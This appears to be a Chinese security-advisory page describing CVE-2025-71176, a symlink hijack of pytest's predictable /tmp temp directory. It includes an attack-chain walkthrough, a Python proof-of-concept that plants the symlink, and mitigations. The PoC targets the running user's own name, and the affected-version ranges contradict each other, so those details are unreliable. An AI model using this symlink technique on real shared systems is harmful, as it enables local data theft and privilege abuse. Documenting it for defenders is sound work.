IPBUF安全漏洞报告
English
CVE-2025-71176 CVSS 6.8 中危

CVE-2025-71176 pytest临时目录符号链接攻击漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2025-71176
漏洞类型
符号链接攻击/权限提升
CVSS评分
6.8 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
pytest

相关标签

pytest符号链接攻击临时文件竞态条件权限提升本地攻击UNIX/Linux拒绝服务CVE-2025-71176安全临时目录TOCTOU

漏洞概述

CVE-2025-71176是影响pytest 9.0.2及更早版本的本地安全漏洞。该漏洞存在于pytest在UNIX系统上创建临时目录的机制中。pytest使用可预测的目录命名模式/tmp/pytest-of-{user}来存储测试会话的临时文件,这种做法存在严重的安全隐患。攻击者可以通过创建符号链接或预先占领目标目录来实现目录劫持,从而可能导致本地用户造成拒绝服务(DoS)攻击,或在特定条件下获得提升的权限。由于该漏洞属于本地攻击向量(AV:L),需要攻击者具有本地访问权限,因此主要威胁对象为多用户系统和共享服务器环境。CVSS 3.1评分6.8(中等严重程度)反映了该漏洞在机密性、完整性和可用性方面均存在较低影响。

技术细节

pytest在UNIX平台上运行时,会在/tmp目录下创建格式为/tmp/pytest-of-{user}的临时目录用于存储测试过程中的临时数据、缓存文件和日志信息。这种命名模式具有高度可预测性,因为用户名通常是已知的或可枚举的。攻击者可以采取以下攻击方式:首先,攻击者(本地普通用户)可以创建一个名为/tmp/pytest-of-{user}的符号链接,指向攻击者控制的目录或系统敏感位置。当目标用户(具有更高权限)运行pytest测试时,pytest会跟随这个符号链接并在攻击者指定的位置创建文件和目录。如果攻击者预先在该位置设置了特定的权限或文件,可能导致权限提升。此外,攻击者还可以通过预先创建同名目录并设置特定权限,在目标用户运行pytest时造成写入失败或目录遍历,从而实现拒绝服务攻击。该漏洞的利用条件包括:攻击者需要具有目标系统的本地访问权限,并且能够预测或枚举目标用户名。修复方案应包括使用更安全的临时目录创建机制,如使用mkdtemp()函数创建随机命名的目录,或使用系统提供的安全临时目录API(如Python的tempfile模块)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者获取目标系统的用户名信息,通过/etc/passwd或whoami等命令确定目标用户名,并识别pytest的安装情况及版本
STEP 2
步骤2: 创建符号链接
攻击者在/tmp目录下创建符号链接/tmp/pytest-of-{username},指向攻击者控制的目录(如预先创建的malicious_exploit_dir)或系统敏感路径
STEP 3
步骤3: 等待目标用户运行pytest
当具有更高权限的目标用户运行pytest测试时,pytest会尝试创建/tmp/pytest-of-{username}目录,由于符号链接的存在,实际会在攻击者指定的位置创建文件和目录
STEP 4
步骤4: 文件注入与权限操作
通过在目标目录中植入特定权限的文件或利用符号链接特性,攻击者可以实现文件覆盖、权限修改或获取敏感测试数据
STEP 5
步骤5: 权限提升或DoS攻击
如果攻击者成功将文件写入敏感位置,可能实现本地权限提升;如果通过目录占用或破坏pytest的临时文件,可能造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-71176 PoC - pytest Temporary Directory Symlink Attack # This PoC demonstrates the symlink attack vulnerability in pytest import os import pwd import subprocess import tempfile import time def get_tmp_dir_pattern(username): """Generate the predictable pytest temp directory pattern""" return f"/tmp/pytest-of-{username}" def exploit_creation(): """Create a malicious symlink to exploit the vulnerability""" current_user = pwd.getpwuid(os.getuid()).pw_name target_dir = get_tmp_dir_pattern(current_user) # Create a target directory that will receive the files malicious_dir = os.path.join(tempfile.gettempdir(), 'malicious_exploit_dir') os.makedirs(malicious_dir, exist_ok=True) print(f"[*] Current user: {current_user}") print(f"[*] Target pytest temp dir: {target_dir}") print(f"[*] Malicious redirect dir: {malicious_dir}") # Remove existing directory if present if os.path.exists(target_dir): if os.path.islink(target_dir): os.unlink(target_dir) elif os.path.isdir(target_dir): os.rmdir(target_dir) # Create symlink to redirect pytest temp directory try: os.symlink(malicious_dir, target_dir) print(f"[+] Symlink created successfully: {target_dir} -> {malicious_dir}") print("[+] When target user runs pytest, files will be written to malicious directory") return True except PermissionError: print("[-] Permission denied - cannot create symlink") return False def cleanup(): """Clean up created artifacts""" current_user = pwd.getpwuid(os.getuid()).pw_name target_dir = get_tmp_dir_pattern(current_user) malicious_dir = os.path.join(tempfile.gettempdir(), 'malicious_exploit_dir') if os.path.islink(target_dir): os.unlink(target_dir) print(f"[*] Cleaned up symlink: {target_dir}") if os.path.exists(malicious_dir): import shutil shutil.rmtree(malicious_dir) print(f"[*] Cleaned up malicious directory: {malicious_dir}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-71176 - pytest Temporary Directory Symlink Attack PoC") print("=" * 60) try: if exploit_creation(): print("\n[!] Exploit setup complete. Next steps:") print(" 1. Wait for target user to run pytest") print(" 2. Check malicious_exploit_dir for created files") print(" 3. Files may include sensitive test data, cache, logs") finally: print("\n[*] Press Ctrl+C to cleanup, or run with --cleanup flag") time.sleep(1)

影响范围

pytest < 9.0.2 (所有UNIX平台版本)
pytest <= 9.0.0
pytest <= 8.3.0
pytest <= 8.0.0

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 为/tmp目录设置粘滞位(sticky bit)并限制普通用户的写权限;2) 配置系统使用private-tmp服务(如systemd的PrivateTmp=yes);3) 使用apparmor或selinux强制策略限制pytest进程的目录访问;4) 在多用户系统中,考虑使用容器或chroot环境隔离pytest执行;5) 监控/tmp目录下的符号链接创建行为,设置告警机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表